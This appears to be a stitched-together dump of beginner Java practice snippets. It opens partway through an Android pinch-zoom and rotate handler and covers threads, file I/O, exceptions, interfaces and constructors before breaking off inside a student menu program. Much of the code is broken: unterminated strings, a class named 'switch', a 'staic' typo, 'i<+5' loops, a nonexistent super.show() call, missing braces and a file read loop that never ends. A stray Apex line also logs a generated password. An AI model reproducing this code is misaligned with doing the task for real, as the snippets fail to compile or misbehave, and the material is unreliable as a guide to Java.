                lastEvent = new float[4];
                lastEvent[0] = event.getX(0);
                lastEvent[1] = event.getX(1);
                lastEvent[2] = event.getY(0);
                lastEvent[3] = event.getY(1);
                d = rotation(event);
                break;
            case MotionEvent.ACTION_UP:
                isZoomAndRotate = false;
                if (mode == DRAG) {
                    float x = event.getX();
                    float y = event.getY();
                }
            case MotionEvent.ACTION_OUTSIDE:
                isOutSide = true;
                mode = NONE;
                lastEvent = null;
            case MotionEvent.ACTION_POINTER_UP:
                mode = NONE;
                lastEvent = null;
                break;
            case MotionEvent.ACTION_MOVE:
                if (!isOutSide) {
                    if (mode == DRAG) {
                        isZoomAndRotate = false;
                        view.animate().x(event.getRawX() + xCoOrdinate).y(event.getRawY() + yCoOrdinate).setDuration(0).start();
                    }
                    if (mode == ZOOM && event.getPointerCount() == 2) {
                        float newDist1 = spacing(event);
                        if (newDist1 > 10f) {
                            float scale = newDist1 / oldDist * view.getScaleX();
                            view.setScaleX(scale);
                            view.setScaleY(scale);
                        }
                        if (lastEvent != null) {
                            newRot = rotation(event);
                            view.setRotation((float) (view.getRotation() + (newRot - d)));
                        }
                    }
                }
                break;
        }
    }

    private float rotation(MotionEvent event) {
        double delta_x = (event.getX(0) - event.getX(1));
        double delta_y = (event.getY(0) - event.getY(1));
        double radians = Math.atan2(delta_y, delta_x);
        return (float) Math.toDegrees(radians);
    }

    private float spacing(MotionEvent event) {
        float x = event.getX(0) - event.getX(1);
        float y = event.getY(0) - event.getY(1);
        return (int) Math.sqrt(x * x + y * y);
    }

    private void midPoint(PointF point, MotionEvent event) {
        float x = event.getX(0) + event.getX(1);
        float y = event.getY(0) + event.getY(1);
        point.set(x / 2, y / 2);
    }
}

class switch
{
public static void main(String[] args) {

  int a = 10, b = 20, ch;
  System.out.print("Enter User Choice..!\n");

  Scanner r = new Scanner(System.in);
  ch = r.nextInt();

  switch (ch) 
  {
    case 1:
      System.out.print("Sum + (a + b));
      break;
    case 2:
      System.out.print("Sub + (a - b));
      break;
    case 3:
      System.out.print("Multi + (a * b));
      break;
    case 4:
      System.out.print("Div + (a / b));
      break;
    default:
      System.out.print("Invalid Choice..");
  }
}

class Bitwise
{
   public static void main(String[] args)
   {
    int a=5,b=7;

    System.out.print("AND = " + (a & b));
    System.out.print("OR  = " + (a | b));
    System.out.print("XOR = " + (a ^ b));
    System.out.print("COMPLIMENT =  " + (~a));
   }
}

class Msg
{
    public void Show(String name)
    {
        ;;;;; // 100 line code

        synchronized(this)
        {
            for(int i = 1; i <= 3; i++)
            {
                System.out.println("how are you " + name);
            }
        }
        ;;;;; // 100 line code
    }
}

class Ourthread extends Thread
{
    Msg m;
    String name;

    Ourthread(Msg m, String name)
    {
        this.m = m;
        this.name = name;
    }

    public void run()
    {
        m.Show(name);
    }
}

class Death
{
    public static void main(String[] args)
    {
        Msg msg = new Msg(); // Create an instance of the Msg class
        Ourthread t1 = new Ourthread(msg, "om");
        Ourthread t2 = new Ourthread(msg, "harry");

        t1.start();
        t2.start();
    }
}

System.debug('Password: '+InternalPasswordGenerator.generateNewPassword('userId'));

class Table 
{
    public synchronized void printtable(int n)
    {
        for(int i=1;i<=10;i++)
        {
            System.out.println(n+"X"+i+"="+(n*i));
        }
    }
}
class Thread1 extends Thread
{
    Table t;
    Thread1(Table t)
    {
        this.t=t;
    }
    public void run()
    {
        t.printtable(5);
    }
}
class Thread2 extends Thread
{
    Table t;
    Thread2(Table t)
    {
        this.t=t;
    }
    public void run()
    {
        t.printtable(7);
    }
}

class D
{
    public static void main(String[] args)
    {
        Table r= new Table();
        
        Thread1 t1= new Thread1(r);
        Thread2 t2= new Thread2(r);
        
        t1.start();
        t2.start();
    }
}

class Bus extends Thread
{
    int available = 1;
    int passenger;

    Bus(int passenger)
    {
        this.passenger=passenger;
    }

    public synchronized void run()
    {
        String n = Thread.currentThread().getName();
        if (available >= passenger)
        {
            System.out.println(n + " seat reserved");
            available = available-passenger;
        }
        else
        {
            System.out.println("Seat not reserved");
        }
    }
}

class D
{
    public static void main(String[] args)
    {
        Bus bus = new Bus(1);

        Thread a = new Thread(bus);
        Thread s = new Thread(bus);
        Thread z = new Thread(bus);

        a.setName("raju");
        z.setName("rahul");
        s.setName("om");

        a.start();
        z.start();
        s.start();
    }
}

class S extends Thread
{
    public void run()
    {
        System.out.println(Thread.currentThread().getName());
        System.out.println(Thread.currentThread().getPriority());
    }
     
        
    
}
class F 
{
    public static void main(String[] args)
    {
        S t= new S();
        S r= new S();
        S y= new S();

        t.setName("Thread 1");
        r.setName("Thread 2");
        y.setName("Thread 3");

        t.setPriority(10);
        r.setPriority(6);
        y.setPriority(7);

        t.start();
        r.start();
        y.start();
    }
    
}

class A extends Thread
{
    public void run()
    {
        try
        {
            for(int i=1;i<=5;i++)
            {
                System.out.println("okay boss");
                Thread.sleep(1000);
            }
        }
        catch(Exception m)
        {
            System.out.println("some eror");
        }
    }
}
class F 
{
    public static void main(String[] args)
    {
        A r= new A();

        r.start();
        r.interrupt();
    }
}

class A extends Thread
{
    public void run()
    {
        System.out.println("is alive moment ");
    }
}
class F 
{
    public static void main(String[] args)
    {
        A r= new A();
        A p= new A();

        r.start();
        System.out.println(r.isAlive());
        p.start();
        System.out.println(p.isAlive());
    }
}

class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
                
            }
    }
}
class P extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
               
                
            }
    }
}

class F
{
    public static void main(String[] args)
    {
        A r = new A();
        P t = new P();

        r.setName("thread n");
        t.setName("thread m");

        r.start();
        r.stop();
        t.start();
    }
}

class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
                
            }
    }
}
class P extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                Thread.yield();
               
                
            }
    }
}

class F
{
    public static void main(String[] args)
    {
        A r = new A();
        P t = new P();

        r.start();
        t.start();
    }
}

class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        r.start();
        
        t.start();
        t.suspend();

        y.start();
        t.resume();
       
    }
}

class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        t.start();
        try
        {
            t.join();
        }
        catch(Exception m)
        {

        }
        r.start();
        y.start();
    }
}

class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                Thread.sleep(2000);
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 9");
        y.setName("Thread 10");

        r.start();
        t.start();
        y.start();
    }
}

class A extends Thread
{
    public void run()
    {
        String n= Thread.currentThread().getName();
        for(int i=1;i<=3;i++)
        {
            System.out.println(n);
        }
    }
}
class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        r.start();
        t.start();
        y.start();
    }
}

class P implements Runnable
{
    public void run()
    {
        for(int i=1;i<=5;i++)
        {
            System.out.println("child");
        }
    }
}
class D
{
    public static void main(String[] args )
    {
        P r= new P();

        Thread t=new Thread(r);
        t.start();

        for(int i=1;i<=5;i++)
        {
            System.out.println("main");
        }
    }
}

class P extends Thread {
    @Override
    public void run() {
        try {
            for (int i = 1; i <= 5; i++) {
                System.out.println("akhil");
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            // Exception handling code (empty in this case)
        }
    }
}

class D {
    public static void main(String[] args) throws InterruptedException {
        P r = new P();
        r.start();  // Starts the thread

        for (int i = 1; i <= 5; i++) {
            System.out.println("tanishq");
            Thread.sleep(1000);
        }
    }
}

class P extends Thread
{
    public void run()
    {
        for(int i=1;i<=5;i++)
        {
            System.out.println("akhil");
        }
    }
}
class D
{
    public static void main(String[] args)
    {
        P r=new P();
        r.start();

        for(int i=1;i<=5;i++)
        {
            System.out.println("tanishq");
        }

    }
}

import java.io.*;
import java.util.Scanner;

class D
{
    public static void main(String[] args) throws Exception{
        try
        {
            File f= new File("C:\\Users\\HP\\Desktop\\poco");
            Scanner sc= new Scanner(f);
            while(sc.hasNextLine())
            {
                System.out.println(sc.hasNextLine());
                System.out.println(sc.nextLine());
                System.out.println(sc.hasNextLine());
            }
        }
        catch(Exception e)
        {
            System.out.println("handled");
        }
        
}
}

import java.io.*;
class D
{
    public static void main(String[] args) throws Exception
    {
        FileInputStream r= new FileInputStream("C:\\Users\\HP\\Desktop\\okay");
        FileOutputStream w= new FileOutputStream("C:\\Users\\HP\\Desktop\\boss");

        int i;
        while((i=r.read())!=-1)
        {
            w.write((char)i);
        }
        System.out.println("Data copied successfull");
    
}
}

import java.io.*;
class D
{
    public static void main(String[] args){
    File f=new File( "C:\\Users\\HP\\Desktop\\LC.txt");
    File r=new File( "C:\\Users\\HP\\Desktop\\aman");

    if(f.exists())
    {
        System.out.println(f.renameTo(r));
    }
    else
    {
        System.out.println("notfound");
    }
}
}

import java.io.*;
class D
{
    public static void main(String[] args){
    try 
    {
        FileReader f= new FileReader("C:\\Users\\HP\\Desktop\\LC.txt");
        try
        {
            int i;
            while((i=f.read())!=0)
            {
                System.out.println((char)i);
            }
        }
        finally
        {
            f.close();
        }

    }
    catch(Exception a)
    {
        System.out.println("some error");
    }
}
}

import java.io.*;
class D
{
    public static void main(String[] args)
    {
        File f = new  File("C:\\Users\\HP\\Desktop\\LC.txt");

        if(f.exists())
        {
            System.out.println(f.canRead());
            System.out.println(f.canWrite());
            System.out.println(f.length());
            System.out.println(f.getAbsolutePath());
            System.out.println(f.getName());
        }
        else
        {
            System.out.println("not found");
        }

    }

}

import java.io.*;
class D
{
    public static void main(String[] args)
    {
        try
        {
            FileWriter f= new FileWriter("C:\\Users\\HP\\Desktop\\LC.txt");
            try
            {
                f.write("hello guys ");
            }
            finally
            {
                f.close();
            }
            System.out.println("Susccesfully writen");
            

        }
        catch(Exception i)
        {
            System.out.println("aome execption found");
        }

            
    }
}

import java.io.*;
public class Main {
    public static void main(String[] args)
    {
     File f= new File("C:\\Users\\HP\\Desktop\\LC.txt");
     try
     {
        if(f.createNewFile())
     {
        System.out.println("file created");

     }
     else
     {
        System.out.println("file already created");
     } 
    }
    catch(IOException a)
    {
       System.out.println("Exception handled");
    }  
    }
    
}

class D
{
    public static void main(String[] args){
        try
        {
            m1();
        }
        catch(Exception m)
        {
            System.out.println("exception handeld ");
        }
    }
    public static void m1()
    {
        m2();
    }
    public static void m2()
    {
        System.out.println(10/0);
       
    }
}

class InvalidAgeException extends Exception
{
    InvalidAgeException(String msg)
    {
        System.out.println(msg);
    }
}
class test
{
    public static void vote(int age) throws InvalidAgeException
    {
        if(age<18)
        {
            throw new InvalidAgeException("not eligible for voting");
        }
        else
        {
            System.out.println("Eligible for voting ");
        }
    }
    public static void main(String[] args){
    
    try
    {
        vote(12);
    }
    catch(Exception d)
    {
        System.out.println(d);
    }
    }
}

class D
{
   public static void Wait() throws InterruptedException
    {
        for(int i=0;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
            
        }
    }
    public static void main(String[] args) 
{
    try
    {
        Wait();
        System.out.println(10/0);
       
    }
    catch(Exception s)
    {
        System.out.println("some error find");
    }
}
}

class D
{
   public static void Wait() throws InterruptedException
    {
        for(int i=0;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
            
        }
    }
    public static void main(String[] args) throws InterruptedException
    {
        Wait();
        System.out.println("some error find");
    }
}

class D
{
    void div(int a, int b) throws ArithmeticException
    {
        if (b == 0)
        {
            throw new ArithmeticException();
        }
        else
        {
            int c = a / b;
            System.out.println(c);
        }
    }

    public static void main(String[] args)
    {
        D r = new D(); // Fix the typo here
        try
        {
            r.div(10, 0);
        }
        catch (Exception e)
        {
            System.out.println("We cannot divide by 0");
        }
    }
}

class F
{
    public static void main(String[] args) throws InterruptedException
    {
        for(int i=1;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
        }
    }
}

class D
{
    public static void main(String[] args){
        //System.out.println(10/0);
        throw new ArithmeticException("not divide it by 0");
    }
}

class D
{
    public static void main(String[] args){
        try
        {
            String a="hello";
            System.out.println(a.toUpperCase());
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
        finally
        {
            try
            {
                System.out.println(10/0);
            }
            catch(Exception p)
            {
                System.out.println(p);
            }
            finally
            {
                System.out.println("System ended");
            }
        }
    }
}

class D
{
    public static void main(String[] args){
        try
        {
            String a="hello";
            System.out.println(a.toUpperCase());
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
        finally
        {
            try
            {
                System.out.println(10/0);
            }
            catch(Exception p)
            {
                System.out.println(p);
            }
            finally
            {
                System.out.println("System ended");
            }
        }
    }
}

class G
{
    public static void main(String[] args){
    try
    {
        int a=10, b=0 , c;
        c=a/b;
        System.out.println(c);
        System.out.println("no error found");
    }
    catch(Exception a)
    {
        try
        {
            String p="okkk";
            System.out.println(p.toUpperCase());
            System.out.println("some  error found");
        }
        catch(Exception u)
        {
            System.out.println("big  error found");
        }
    }
    
    }
}

class D
{
    public static void main(String[] args){
        try{
            try{
                int a=10,b=10,c;
                c=a+b;
                System.out.println(c);
                System.out.println("no error found in ap");
            }
            catch(ArithmeticException a )
            {
                System.out.println("some error found in ap function");
            }
            int a[]={10,20,23,44};
            System.out.println(a[3]);
            System.out.println("no error found in array ");
        }
        catch(ArrayIndexOutOfBoundsException a)
        {
            System.out.println("some error found in array function");
        }
    }
}

class F
{
    public static void main(String[] args){
        try
        {
            int a=10 , b=0 , c;
            c=a+b;
            System.out.println(c);
            
            int d[]={10,20};
            System.out.println(d[1]);
            
            String j = "amkit";
            System.out.println(j.toUpperCase());
           
        }
        catch(ArrayIndexOutOfBoundsException d)
        {
            System.out.println("array error");
        }
        catch(ArithmeticException F)
        {
           System.out.println("ap error");
        }
        catch(NumberFormatException o)
        {
            System.out.println("number format error");
        }
        catch(Exception L)
        {
            System.out.println("some basic error ");
        }
    }
}

class F
{
    public static void main(String[] args){
        try
        {
            int a=10,b=0,c;
            c=a/b;
            System.out.println(c);
        }
        catch(Exception a)
        {
            
            System.out.println("error found ");
        }
        try
        {
            int a[] ={10,20,30};
            System.out.println(a[3]);
        }
        catch(ArrayIndexOutOfBoundsException b)
        {
            System.out.println("error found ");
        }
        
        
    }
}

class D
{
    public static void main(String[] args){
        
        try
        {
            int a=10,b=2,c;
            c=a/b;
            System.out.println(c);
        }
        catch(Exception a)
        {
            System.out.println("Any error found");
        }
        finally
        {
            System.out.println("no error found");
        }
        System.out.println("system ended");
    }
}

class D
{
    public static void main(String[] args){
    String str="heavy";
    
    try
    {
        int a=Integer.parseInt(str);
        System.out.println("error not found");
    }
   catch(NumberFormatException n)
   {
       System.out.println("error found");
   }
   System.out.println("system ended ");
} 
}

class D
{
    public static void main(String[] args){
        String a= null;
        
        try
        {
            System.out.print(a.toUpperCase());
            System.out.print("error not found");
            
        }
        catch(NullPointerException n )
        {
            System.out.print("error found");
        }
        
        
} 
}

class D
{
    public static void main(String[] args){
        int a=10,b=0,c;
        System.out.println("started ");
        try{
            c=a+b;
            System.out.println("sum will be "+c);
            System.out.println("no error found ");
        }
        catch(Exception e)
        {
            System.out.println("error founded");
        }
        System.out.println("ended");
    }
}

class D
{
    public static void main(String[] args ){
        System.out.println("Started ");
        int a=10,b=0,c;
        try{
            c=a/b;
        }
        catch(Exception e )
        {
            System.out.println("any errror found");
        }
        System.out.println("ended");
    }
}

class A
{
    void add(int ... a)
    {
        int sum=0;
        for(int x:a)
        {
            sum=sum+x;
        }
        System.out.println("sum of numbers will be "+sum);
    }
}
class B 
{
    public static void main(String[] args)
    {
        A r= new A();
        r.add();
        r.add(10,20);
        r.add(20,30);
        r.add(20,20);
    }
}

class A
{
    A Show()
    {
        System.out.println("first");
        return this;
    }
}
class B extends A
{
    B Show()
    {
        super.Show();
        System.out.println("second");
        return this;
    }
}
class C
{
    public static void main(String[] args)
    {
        B r = new B();
        r.Show();
    }
    
}

class A
{
    A show()
    {
        System.out.println("super");
        return this; // return as it is 
    }
}
class B extends A
{
    @Override
    B show()
    {
        System.out.println("supreme");
        return this; // return as it is
    }
}
class F
{
    public static void main(String[] args){
        B r= new B();
        r.show();
    }
}

class A
{
    void show()
    {
        System.out.print("super");
    }
}
class B extends A
{
    @Override
    void show()
    {
        System.out.print("supt");
    }
}
class F
{
    public static void main(String[] args){
        B r= new B();
        r.show();
    }
}

class D
{
    int a=10;
    D()
    {
        System.out.println(a);
    }
    public static void main(String[] args){
        
        D r = new D();
        
    }
}

class D
{
    int a=10;
    D()
    {
        System.out.println(a);
    }
    public static void main(String[] args){
        
        D r = new D();
        
    }
}

class D
{
    int a=10;
    public static void main(String[] args){
        
        D r = new D();
        System.out.println(r.a);
    }
}

final class D
{
    void number()
    {
        System.out.println("true");
    }
    
}
class P extends D // it will show error as its ssinged as final ....
{
   
    void number()
    {
        System.out.println("true");
    }
    
}

class O
{
    public static void main(String[] args)
    {
        P r = new P();
        r.number();
        
}
}

class Final 
{
    public static void main(String[] args)
    {
        final int a=20;// fial value now it cannot be changed 
        System.out.print(a);
        
        a=20;// cannot assinged once again
        System.out.print(a);
    }
}

interface D
{
    default void call()
    {
        plus(10,20);
    }
    private void plus(int x,int y)
    {
        System.out.println("plus answer will be "+(x+y));
    }
}
class X implements D
{
    public void subtract(int x, int y)
    {
        System.out.println("subtract answer will be "+(x-y));
    }
}
class C
{
    public static void main(String[] args)
    {
        X r= new X();
        r.call();
        r.subtract(20,10);
    }
}

interface A
{
    public static void Show()
    {
        System.out.println("okay bhai");
    }
}
class  D
{
    public static void main(String[] args)
    {
        A.Show();
    }
}

interface A
{
    void S();
    void P();
    default void L()
    {
        System.out.println("hii baby");
    }
}
class D implements A
{
    public void S()
    {
        System.out.println("class D");
    }
    public void P()
    {
        System.out.println("class P");
    }
}
class p
{
    public static void main(String[] args)
    {
        D r= new D();
        r.S();
        r.P();
        r.L();
    }
}

import java.util.LinkedList;
import java.util.Queue;

public class Main { 
  public static void main(String[] args) {
    Queue songs = new LinkedList<>();
    songs.add("Szmaragdy i Diamenty");
    songs.add("Ja uwielbiam ją");
    songs.add("Chłop z Mazur");

    System.out.println("Playlista na dziś: " + songs);
    for (int i = 0; i < songs.size(); i++) {
        System.out.println("gram: " + songs.poll() +
              " [następnie: " + songs.peek() + "]");
    }
}
} 

interface W {
    void sum();
}

interface S extends W {
    void sub();
}

class K implements S {
    @Override
    public void sum() {
        int a = 10, b = 20, sum;
        sum = a + b;
        System.out.println(sum);
    }

    @Override
    public void sub() {
        int a = 20, b = 10, sub;
        sub = a - b; // Fix: Corrected the subtraction operation
        System.out.println(sub);
    }
}

class D {
    public static void main(String[] args) {
        K r = new K();
        r.sum();
        r.sub(); // Fix: Corrected the method call
    }
}

interface A {
    void show();
}

interface S {
    void hide();
}

class W implements A, S {
    public void show() {
        System.out.println("ok boss");
    }

    public void hide() {
        System.out.println("no boss");
    }
}

class L {
    public static void main(String[] args) {
        W r = new W();
        r.show();
        r.hide();
    }
}

interface X
{
    void frontened();
    void backened();
}
abstract class D implements X
{
    @Override
    public void frontened()
    {
        System.out.println("BY JAVA");
    }
}
class W extends D
{
    @Override
    public void backened()
    {
        System.out.println("BY HTml and css ");
    }
}
class V
{
    public static void main(String[] args)
    {
        W r= new W();
        r.frontened();
        r.backened();
    }
    
}

interface customer
{
    int a=20;
    void purchase();
}
class Owner implements customer
{
    @Override
    public void purchase()
    {
        System.out.println("customer bought "+a + "kg");
    }
    
    
}
class A
{
    public static void main(String[] args)
    {
        
        System.out.println(customer.a+"kg");/* it can be call without making an obj that is why its static*/
    }
}

interface customer
{
    int a= 20; /* that is why its final because one value  is assinged it becomes final*/
    
    void purchase();
}
class Raju implements customer
{
    @Override
    public void purchase()
    {
        System.out.println("raj needs "+a+"kg");
    }
}
class Check
{
    public static void main(String[] args)
    {
        customer r= new Raju();
        r.purchase();
    }
}

import java.util.Scanner;
interface client
{
    void input();
    void output();
}
class raju implements client
{
    String name ; double salary;
    public void input()
    {
        Scanner r = new Scanner(System.in);
        System.out.println("eNTER YOUR NAME");
        name = r.nextLine();
        
        System.out.println("eNTER YOUR sal");
        salary = r.nextDouble();
    }
    public void output()
    {
    System.out.println(name +" "+salary);
    
    }
    public static void main(String[] args){
        client c = new raju();
        c.input();
        c.output();
    }

abstract class A
{
    public abstract void MAIN();
    
}
abstract class AKHIL extends A
{
    @Override
    public void MAIN()
    {
        System.out.println("topper");
    }
    
}
class TANISHQ extends AKHIL
{
    @Override
    public void MAIN()
    {
        System.out.println("loser");
    }
}
class D
{
    public static void main(String[] args)
    {
        TANISHQ r =new TANISHQ();
      
        
        r.MAIN();
        
    }
}

abstract class D {
    public abstract void Developer();
}

class Java extends D {
    @Override
    public void Developer() {
        System.out.println("James");
    }
}

class Html extends D {
    @Override
    public void Developer() {
        System.out.println("Tim");
    }
}

public class S {
    public static void main(String[] args) {
        Java r = new Java();
        Html k = new Html();
        r.Developer();
        k.Developer();
    }
}

abstract class animal
{
    public abstract void sound();
}
class dog extends animal
{
    public void sound()
    {
    System.out.println("dog is barking");
    }
}
class tiger extends animal
{
    public void sound()
    {
    System.out.println("dog is tiger");
        
    }
    
}
class S{
    public static void main(String[] args){
        dog r= new dog();
        tiger k= new tiger();
        
        r.sound();
        k.sound();
    }
}

abstract class A
{
    void MAIN()
    {
    System.out.println("ooo");
    }
}
class S extends A
{
    
}
class P
{
    public static void main(String[] args){
        S r= new S();
        r.MAIN();
    }
}

class A
{
    private int value;
    
    public void setValue(int x)
    {
        value=x;
    }
    public int getValue()
    {
        return value;
    }
}
class D
{
    public static void main(String[] args){
    A r= new A();
    r.setValue(500);
    System.out.println(r.getValue());
    }
}

class shape 
{
    void draw()
    {
        System.out.println("can't say about shape");
    }
}
class square extends shape
{
    @Override
    void draw()
    {
        super.draw();
        System.out.println("shape is square");
    }
}
class B
{
    public static void main(String[] args)
    {
        shape r=new square();
        r.draw();
    }
}

class A
{  
    void C()
    {
        int a=20; int b=30; int c;
        c=a+b;
        System.out.println(c);
    }
    void C(int x,int y)
    {
        int c;
        c=x+y;
        System.out.println(c);
    }
    void C(int x,double y)
    {
        double c;
        c=x+y;
        System.out.println(c);
    }
    public static void main(String[] args)
    {
        A r= new A();
        r.C();
        r.C(10,20);
        r.C(11,22.33);
    }

}

class A
{
    void SHOW()
    {
        System.out.println(this);
    }
    public static void main(String[] args)
    {
        A r = new A();
        System.out.println(r);
        r.SHOW();
    }

}

class A
{
    
        int a=20;
        
}
class B extends A
{
    int a=10;
    void S()
    {
        System.out.println(super.a);
        System.out.println(a);
    }
}
class C
{
    public static void main(String[] args)
{
    B r= new B();
    r.S();
}
}

class A
{
    void S()
    {
        System.out.println("srk");
    }
}
class B
{
    void S()
    {
        super.show();
        System.out.println("srk");
    }
}
class C
{
    public staic void main (String[] args)

{
    B r= new B();
    r.S();
}

}

class A
{
    
    void ADD()
    {
        
        System.out.println("enter your name ");
    }
}
class B extends A
{
void SUB()
    {
        
        System.out.println("Enter your enrollemnet number");
    }
}
class C extends A
 
{
    void MULTI()
    {
        
        System.out.println("enter your college name ");
    }
}
    
class D
{
    public static void main(String[] args)
    {
       B r = new B();
       C r2= new C();
       
       r.ADD(); r.SUB();
       r2.ADD(); r2.MULTI();
    }
}

class A
{
    int a; int b; int c;
    void ADD()
    {
        a=1;
        b=2;
        c=a+b;
        System.out.println("addition of number "+c );
    }
    void SUB()
    {
        a=1;
        b=2;
        c=a-b;
        System.out.println("subtraction of number "+c );
    }
}
class B extends A
{
    void MULTI()
    {
        a=1;
        b=2;
        c=a*b;
        System.out.println("multiplication of number "+c );
    }
}
class C extends B
{
        void REMAINDER()
    {
        a=1;
        b=2;
        c=a%b;
        System.out.println("remainder of number "+c );
    }
}
class D{
    public static void main(String[] args)
    {
        C r = new C();
        r.ADD();
        r.SUB();
        r.MULTI();
        r.REMAINDER();
    }
}

class A
{
    int a; String b;
    void input()
    {
        System.out.println("enter your roll no and name ");
    }
    
      
    
    
}
class B extends A
{
    void D()
    {
        a=10; b="om";
        System.out.println(a+" "+b);
    }
    public static void main(String[] args){
    B r=new B();
    r.input(); 
    r.D(); 
    }
    
}

class A
{
    int a=10; static int  b=20;
    
    {
        System.out.println(a+" "+b);
    }
    static{
        System.out.println(b);
    }
    
    
    public static void main(String[] args){
        A r = new A();
    }
    
    
}

class A
{
    static{
        System.out.println("learn ");
    }
    {
        System.out.println("learn coding");
    }
    
    
    public static void main(String[] args){
        A r = new A();
    }
    
    
}

class A
{
    static {
        System.out.print("jojo");
    }
    
       public static void main(String[] args) {
    }
    
}

class S
{
    int a,b;
    S()
    {
        a=20 ; b=30;
        System.out.println(a+" "+b);
    }
    
    {/*static*/
        a=10 ; b=10;
        System.out.println(a+" "+b);
    }
}
class A
{
    public static void main(String[] args)
    {
        
        S r = new S();
        
    
    }
}

class A 
{
    int a; double b; String c;
    A()
    {
        a= 10; b= 0.098; c= "hii";
        
    }
    A(int x)
    {
        a=x;
    }
    A( double y, String z)
    {
        b=y; c=z;
    }
    
}
class Z
{
   public static void main(String[] args)
   {
      A r = new A();
      A r2= new A(10);
      A r3= new A(0.99," ok");
      System.out.println(r.a+" "+r.b+" "+r.c);
      System.out.println(r2.a);
      System.out.println(r3.b+" "+r3.c);
   }


}

class A 
{
    int a; String b;
    private A()
    {
        a= 10;
        b= "OK";
        System.out.print(a+" "+b);
    }
    public static void main(String[] args){
    A r = new A();
    }
}

// Copy constructor
class A
{
    int a; String b;
    
    
    A()   
    {
        a=10; b=" only";
        System.out.println(a+b);
    }
    
    A(A ref)
    {
        a=ref.a;
        b=ref.b;
        System.out.println(a+b);
    }
}
class B 
{
    public static void main(String[] args )
    {
        A r= new A();
        A r2= new A(r);
    }
}

import java.util.Scanner;

class A

{
    int x, y;
    A(int a, int b)
    {
        x=a; y=b;
        
    }
    void ok()
    {
        System.out.print(x+" "+y);
    }
    
}

class B
{
    public static void main(String[] args)
    {
        A r = new A(100,200);
        r.ok();
    }
}

import java.util.Scanner;

class A

{
    int a; String b; boolean c;
    /*A()
    {
        a=10;b="OK";c=true;
        
    }*/
    void ok()
    {
        System.out.print(a+" "+b+" "+c+" ");
    }
    
}

class B
{
    public static void main(String[] args)
    {
        A r = new A();
        r.ok();
    }
}

import java.util.Scanner; 
class HelloWorld {
    public static void main(String[] args) {
        
        int a[]=new int[5];
        Scanner r = new Scanner(System.in);
        System.out.print("Enter elements of arrays");
        
        for(int i=0;i<a.length;i++)
        {
            a[i]=r.nextInt();
        }
        System.out.println (" arrays");
        for(int i=0;i<a.length;i++)
        {
            System.out.print(a[i]+" ");
        }
        System.out.println ("reverse  arrays");
        for(int i=a.length-1;i>=0;i--)
        {
             System.out.print(a[i]+" ");
        }
    }
}

import java.util.Arrays; 
class HelloWorld {
    public static void main(String[] args) {
        
        String a[]={"learn","coding","Keypoints"};
        System.out.println(Arrays.toString(a));
        System.out.println(Arrays.asList(a));
        
        int b[][]={{10,20},{30,40}};
        System.out.println(Arrays.deepToString(b));
        
    }
}

import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        
        int n,r;
        Scanner ref = new Scanner(System.in);
        System.out.println("enter you value !");
        n=ref.nextInt();
        
        while(n>0)
        {
            r=n%10;
            System.out.print(r);
            n=n/10;
        }
        
    }

import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        int month ;
        Scanner r=new Scanner(System.in);
        System.out.println("input month");
        month=r.nextInt();
        
        switch(month)
        {
            case 1:System.out.print("january and days 31");
            break;
            case 2:System.out.print("febuary and days 28");
            break;
            case 3:System.out.println("march and days 31");
            break;
            case 4:System.out.println("april and days 30");
            break;
            case 5:System.out.println("may and days 31");
            break;
            case 6:System.out.println("june and days 30");
            break;
            case 7:System.out.println("july and days 31");
            break;
            case 8:System.out.println("august and days 31");
            break;
            case 9:System.out.println("september and days 30");
            break;
            case 10:System.out.println("october and days 31");
            break;
            case 11:System.out.println("november and days 30");
            break;
            case 12:System.out.println("december and days 31");
            break;
            
            
        }
        
        
        
    }
    
    
}

import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        int a;
        Scanner r=new Scanner(System.in);
        System.out.println("input a value");
        a=r.nextInt();
        
        for(int i=1;i<=a;i++)
        {
            if(a%i==0)
            {
                System.out.println(i+" "); 
                
            }
        }
        
    }
    
    
}

import java.util.ArrayList;
import java.util.Scanner;

public class StudentInformationSystem {

    private static ArrayList<Student> students = new ArrayList<>();
    private static Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) {
        while (true) {
            displayMenu();
            int choice = scanner.nextInt();
            scanner.nextLine(); // Consume the newline character

            switch (choice) {
                case 1:
                    addStudent();
                    break;
                case 2:
                    viewStudentList();
                    break;
                case 3:
                    searchStudent();
                    break;
